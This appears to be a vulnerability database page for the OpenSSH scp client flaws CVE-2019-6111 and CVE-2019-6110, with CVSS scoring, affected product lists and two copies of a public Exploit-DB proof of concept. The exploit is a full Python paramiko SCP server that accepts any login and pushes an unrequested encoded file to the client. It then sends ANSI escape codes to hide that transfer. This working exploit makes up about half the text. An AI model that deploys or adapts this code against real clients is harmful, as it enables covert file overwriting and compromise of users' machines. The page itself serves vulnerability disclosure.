Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-22 |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
5.9 |
MEDIUM |
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is no loss of confidentiality within the impacted component. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is no impact to availability within the impacted component. Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
5.8 |
|
AV:N/AC:M/Au:N/C:N/I:P/A:P |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 46516
Publication date : 2019-01-10 23h00 +00:00
Author : Harry Sintonen
EDB Verified : No
'''
Title: SSHtranger Things
Author: Mark E. Haase <
[email protected]>
Homepage: https://www.hyperiongray.com
Date: 2019-01-17
CVE: CVE-2019-6111, CVE-2019-6110
Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt
Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1
We have nicknamed this "SSHtranger Things" because the bug is so old it could be
exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko`
package.
The server listens on port 2222. It accepts any username and password, and it
generates a new host key every time you run it.
$ python3 sshtranger_things.py
Download a file using a vulnerable client. The local path must be a dot:
$ scp -P 2222 foo@localhost:test.txt .
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts.
foo@localhost's password:
test.txt 100% 32 0.7KB/s 00:00
The file you requested (e.g. test.txt) will be saved in your current directory.
If your client is vulnerable, you will have an additional file "exploit.txt"
created in your current directory.
$ cat test.txt
This is the file you requested.
$ cat exploit.txt
SSHtranger Things
The interesting code is in ScpServer.send_file().
'''
import base64
import gzip
import logging
import paramiko
import paramiko.rsakey
import socket
import threading
logging.basicConfig(level=logging.INFO)
dummy = 'This is the file you requested.\n'
payload = gzip.decompress(base64.b64decode(
b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46'
b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA'
b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7'
b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d'
b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM'
b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz'
b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4'
b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc'
b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS'
b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA'
))
class ScpServer(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_auth_password(self, username, password):
logging.info('Authenticated with %s:%s', username, password)
return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, chanid):
logging.info('Opened session channel %d', chanid)
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_channel_exec_request(self, channel, command):
command = command.decode('ascii')
logging.info('Approving exec request: %s', command)
parts = command.split(' ')
# Make sure that this is a request to get a file:
assert parts[0] == 'scp'
assert '-f' in parts
file = parts[-1]
# Send file from a new thread.
threading.Thread(target=self.send_file, args=(channel, file)).start()
return True
def send_file(self, channel, file):
'''
The meat of the exploit:
1. Send the requested file.
2. Send another file (exploit.txt) that was not requested.
3. Print ANSI escape sequences to stderr to hide the transfer of
exploit.txt.
'''
def wait_ok():
assert channel.recv(1024) == b'\x00'
def send_ok():
channel.sendall(b'\x00')
wait_ok()
logging.info('Sending requested file "%s" to channel %d', file,
channel.get_id())
command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(dummy)
send_ok()
wait_ok()
# This is CVE-2019-6111: whatever file the client requested, we send
# them 'exploit.txt' instead.
logging.info('Sending malicious file "exploit.txt" to channel %d',
channel.get_id())
command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(payload)
send_ok()
wait_ok()
# This is CVE-2019-6110: the client will display the text that we send
# to stderr, even if it contains ANSI escape sequences. We can send
# ANSI codes that clear the current line to hide the fact that a second
# file was transmitted..
logging.info('Covering our tracks by sending ANSI escape sequence')
channel.sendall_stderr("\x1b[1A".encode('ascii'))
channel.close()
def main():
logging.info('Creating a temporary RSA host key...')
host_key = paramiko.rsakey.RSAKey.generate(1024)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('localhost', 2222))
sock.listen(0)
logging.info('Listening on port 2222...')
while True:
client, addr = sock.accept()
logging.info('Received connection from %s:%s', *addr)
transport = paramiko.Transport(client)
transport.add_server_key(host_key)
server = ScpServer()
transport.start_server(server=server)
if __name__ == '__main__':
main()
Exploit Database EDB-ID : 46193
Publication date : 2019-01-17 23h00 +00:00
Author : Mark E. Haase
EDB Verified : No
# Exploit Title: SSHtranger Things
# Date: 2019-01-17
# Exploit Author: Mark E. Haase <
[email protected]>
# Vendor Homepage: https://www.openssh.com/
# Software Link: [download link if available]
# Version: OpenSSH 7.6p1
# Tested on: Ubuntu 18.04.1 LTS
# CVE : CVE-2019-6111, CVE-2019-6110
'''
Title: SSHtranger Things
Author: Mark E. Haase <
[email protected]>
Homepage: https://www.hyperiongray.com
Date: 2019-01-17
CVE: CVE-2019-6111, CVE-2019-6110
Advisory: https://sintonen.fi/advisories/scp-client-multiple-vulnerabilities.txt
Tested on: Ubuntu 18.04.1 LTS, OpenSSH client 7.6p1
We have nicknamed this "SSHtranger Things" because the bug is so old it could be
exploited by an 8-bit Demogorgon. Tested on Python 3.6.7 and requires `paramiko`
package.
The server listens on port 2222. It accepts any username and password, and it
generates a new host key every time you run it.
$ python3 sshtranger_things.py
Download a file using a vulnerable client. The local path must be a dot:
$ scp -P 2222 foo@localhost:test.txt .
The authenticity of host '[localhost]:2222 ([127.0.0.1]:2222)' can't be established.
RSA key fingerprint is SHA256:C7FhMqqiMpkqG9j+11S2Wv9lQYlN1jkDiipdeFMZT1w.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[localhost]:2222' (RSA) to the list of known hosts.
foo@localhost's password:
test.txt 100% 32 0.7KB/s 00:00
The file you requested (e.g. test.txt) will be saved in your current directory.
If your client is vulnerable, you will have an additional file "exploit.txt"
created in your current directory.
$ cat test.txt
This is the file you requested.
$ cat exploit.txt
SSHtranger Things
The interesting code is in ScpServer.send_file().
'''
import base64
import gzip
import logging
import paramiko
import paramiko.rsakey
import socket
import threading
logging.basicConfig(level=logging.INFO)
dummy = 'This is the file you requested.\n'
payload = gzip.decompress(base64.b64decode(
b'H4sIAAa+QFwC/51VQW4CMQy85xV+AX+qqrZwoFSo0orbHvbQQw9NIiH1Af0YLyndjZ2x46'
b'ygaIGs43jGTjIORJfzh3nIN/IwltH1b+LHeGdxHnXUsoCWD6yYyjt7AfA1XJdLDR8u5yRA'
b'1/lEjiHbHGafXOMVpySuZaH4Jk1lgjxoocN5YMhRoNhhpA5EWMhlRHBNCWogZYhOnmk2V7'
b'C4FJgwHxKSEwEzTskrQITtj1gYIurAhWUfsDbWIFyXlRwDc8okeZkCzNyjlMmcT4wxA39d'
b'zp8OsJDJsGV/wV3I0JwJLNXKlOxJAs5Z7WwqmUZMPZmzqupttkhPRd4ovE8jE0gNyQ5skM'
b'uVy4jk4BljnYwCQ2CUs53KtnKEYkucQJIEyoGud5wYXQUuXvimAYJMJyLlqkyQHlsK6XLz'
b'I6Q6m4WKYmOzjRxEhtXWBA1qrvmBVRgGGIoT1dIRKSN+yeaJQQKuNEEadONJjkcdI2iFC4'
b'Hs55bGI12K2rn1fuN1P4/DWtuwHQYdb+0Vunt5DDpS3+0MLaN7FF73II+PK9OungPEnZrc'
b'dIyWSE9DHbnVVP4hnF2B79CqV8nTxoWmlomuzjl664HiLbZSdrtEOdIYVqBaTeKdWNccJS'
b'J+NlZGQJZ7isJK0gs27N63dPn+oefjYU/DMGy2p7en4+7w+nJ8OG0eD/vwC6VpDqYpCwAA'
))
class ScpServer(paramiko.ServerInterface):
def __init__(self):
self.event = threading.Event()
def check_auth_password(self, username, password):
logging.info('Authenticated with %s:%s', username, password)
return paramiko.AUTH_SUCCESSFUL
def check_channel_request(self, kind, chanid):
logging.info('Opened session channel %d', chanid)
if kind == "session":
return paramiko.OPEN_SUCCEEDED
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
def check_channel_exec_request(self, channel, command):
command = command.decode('ascii')
logging.info('Approving exec request: %s', command)
parts = command.split(' ')
# Make sure that this is a request to get a file:
assert parts[0] == 'scp'
assert '-f' in parts
file = parts[-1]
# Send file from a new thread.
threading.Thread(target=self.send_file, args=(channel, file)).start()
return True
def send_file(self, channel, file):
'''
The meat of the exploit:
1. Send the requested file.
2. Send another file (exploit.txt) that was not requested.
3. Print ANSI escape sequences to stderr to hide the transfer of
exploit.txt.
'''
def wait_ok():
assert channel.recv(1024) == b'\x00'
def send_ok():
channel.sendall(b'\x00')
wait_ok()
logging.info('Sending requested file "%s" to channel %d', file,
channel.get_id())
command = 'C0664 {} {}\n'.format(len(dummy), file).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(dummy)
send_ok()
wait_ok()
# This is CVE-2019-6111: whatever file the client requested, we send
# them 'exploit.txt' instead.
logging.info('Sending malicious file "exploit.txt" to channel %d',
channel.get_id())
command = 'C0664 {} exploit.txt\n'.format(len(payload)).encode('ascii')
channel.sendall(command)
wait_ok()
channel.sendall(payload)
send_ok()
wait_ok()
# This is CVE-2019-6110: the client will display the text that we send
# to stderr, even if it contains ANSI escape sequences. We can send
# ANSI codes that clear the current line to hide the fact that a second
# file was transmitted..
logging.info('Covering our tracks by sending ANSI escape sequence')
channel.sendall_stderr("\x1b[1A".encode('ascii'))
channel.close()
def main():
logging.info('Creating a temporary RSA host key...')
host_key = paramiko.rsakey.RSAKey.generate(1024)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind(('localhost', 2222))
sock.listen(0)
logging.info('Listening on port 2222...')
while True:
client, addr = sock.accept()
logging.info('Received connection from %s:%s', *addr)
transport = paramiko.Transport(client)
transport.add_server_key(host_key)
server = ScpServer()
transport.start_server(server=server)
if __name__ == '__main__':
main()
Products Mentioned
Configuraton 0
Openbsd>>Openssh >> Version To (including) 7.9
Winscp>>Winscp >> Version To (including) 5.1.3
Configuraton 0
Canonical>>Ubuntu_linux >> Version 14.04
Canonical>>Ubuntu_linux >> Version 16.04
Canonical>>Ubuntu_linux >> Version 18.04
Canonical>>Ubuntu_linux >> Version 18.10
Configuraton 0
Debian>>Debian_linux >> Version 8.0
Debian>>Debian_linux >> Version 9.0
Configuraton 0
Redhat>>Enterprise_linux >> Version 7.0
Redhat>>Enterprise_linux >> Version 8.0
Redhat>>Enterprise_linux_eus >> Version 8.1
Redhat>>Enterprise_linux_eus >> Version 8.2
Redhat>>Enterprise_linux_eus >> Version 8.4
Redhat>>Enterprise_linux_eus >> Version 8.6
Redhat>>Enterprise_linux_server_aus >> Version 8.2
Redhat>>Enterprise_linux_server_aus >> Version 8.4
Redhat>>Enterprise_linux_server_aus >> Version 8.6
Redhat>>Enterprise_linux_server_tus >> Version 8.2
Redhat>>Enterprise_linux_server_tus >> Version 8.4
Redhat>>Enterprise_linux_server_tus >> Version 8.6
Configuraton 0
Fedoraproject>>Fedora >> Version 30
Configuraton 0
Apache>>Mina_sshd >> Version 2.2.0
Configuraton 0
Freebsd>>Freebsd >> Version To (excluding) 12.0
Freebsd>>Freebsd >> Version 12.0
Freebsd>>Freebsd >> Version 12.0
Freebsd>>Freebsd >> Version 12.0
Freebsd>>Freebsd >> Version 12.0
Configuraton 0
Fujitsu>>M10-1_firmware >> Version To (excluding) xcp2361
Fujitsu>>M10-1 >> Version -
Configuraton 0
Fujitsu>>M10-4_firmware >> Version To (excluding) xcp2361
Fujitsu>>M10-4 >> Version -
Configuraton 0
Fujitsu>>M10-4s_firmware >> Version To (excluding) xcp2361
Fujitsu>>M10-4s >> Version -
Configuraton 0
Fujitsu>>M12-1_firmware >> Version To (excluding) xcp2361
Fujitsu>>M12-1 >> Version -
Configuraton 0
Fujitsu>>M12-2_firmware >> Version To (excluding) xcp2361
Fujitsu>>M12-2 >> Version -
Configuraton 0
Fujitsu>>M12-2s_firmware >> Version To (excluding) xcp2361
Fujitsu>>M12-2s >> Version -
Configuraton 0
Fujitsu>>M10-1_firmware >> Version To (excluding) xcp3070
Fujitsu>>M10-1 >> Version -
Configuraton 0
Fujitsu>>M10-4_firmware >> Version To (excluding) xcp3070
Fujitsu>>M10-4 >> Version -
Configuraton 0
Fujitsu>>M10-4s_firmware >> Version To (excluding) xcp3070
Fujitsu>>M10-4s >> Version -
Configuraton 0
Fujitsu>>M12-1_firmware >> Version To (excluding) xcp3070
Fujitsu>>M12-1 >> Version -
Configuraton 0
Fujitsu>>M12-2_firmware >> Version To (excluding) xcp3070
Fujitsu>>M12-2 >> Version -
Configuraton 0
Fujitsu>>M12-2s_firmware >> Version To (excluding) xcp3070
Fujitsu>>M12-2s >> Version -
Configuraton 0
Siemens>>Scalance_x204rna_firmware >> Version To (excluding) 3.2.7
Siemens>>Scalance_x204rna >> Version -
Configuraton 0
Siemens>>Scalance_x204rna_eec_firmware >> Version To (excluding) 3.2.7
Siemens>>Scalance_x204rna_eec >> Version -
References